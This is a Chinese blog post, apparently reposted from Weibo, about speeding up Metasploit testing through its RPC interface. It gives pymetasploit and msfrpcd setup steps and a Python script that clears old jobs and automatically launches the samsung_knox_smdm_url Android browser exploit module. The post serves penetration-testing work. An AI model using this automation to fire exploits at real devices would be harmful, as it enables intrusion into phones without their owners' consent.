分享一个metasploit快速测试脚本的TIPS详解编程语言

相信用过metasploit的同学都很苦逼,msfconsole漫长的启动时间,如果测试中敲错命令,或不小心退出后又重启任务,会让你直接抓狂。之前不想重复敲命令,看了下metasploit的开发文档,发现要自动化有各种方案,个人感觉最方便的是调用RPC接口,GITHUB上搜了把,发现有大拿封装好了模块,直接调用即可:

1.安装pymetasploit模块

git clone https://github.com/allfro/pymetasploit
切到目录
sudo python setup.py install

2.启动metasploit的RPC服务
msfrpcd -P test -n -f -a 127.0.0.1
这个test是rpc服务的密码,用户名默认是msf

3.定制自己的测试脚本
我这里定制的是测试三星knox漏洞的脚本,思路是每次启动先把之前运行的job和console停掉,然后自动创建一个console自动敲入命令进行新的漏洞测试,直接crtl-c结束脚本再重新测试都是一个新的job,而且每次测试都是秒开,不用再重启msfconsole了。中间各种接口怎么用,推荐大家再翻下官方的文档。

from metasploit.msfrpc import MsfRpcClient 
import time 
client = MsfRpcClient('test') 
jobs = client.call('job.list') 
for num in jobs.keys(): 
    if jobs[num].find('samsung_knox_smdm_url')>0: 
        client.call('job.stop',num) 
         
console = client.call('console.list') 
for _console in console['consoles']: 
    if _console.has_key('prompt'): 
        if _console['prompt'].find('samsung_knox_smdm_url')>0: 
            client.call('console.destroy', _console['id']) 
               
cmd=''' 
use exploit/android/browser/samsung_knox_smdm_url 
set LHOST 127.0.0.1 
exploit 
''' 
res = client.call('console.create') 
console_id = res['id'] 
client.call('console.write', console_id, cmd)  
try: 
    while True: 
        res = client.call('console.read',console_id) 
        if len(res['data']) > 1: 
                print res['data'], 
        if res['busy'] == True: 
                time.sleep(1) 
                continue 
except: 
    pass

来自:http://weibo.com/p/1001603795720149837992

原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/tech/pnotes/8509.html

(0)
上一篇 2021年7月18日 19:45
下一篇 2021年7月18日 19:45

相关推荐

发表回复

登录后才能评论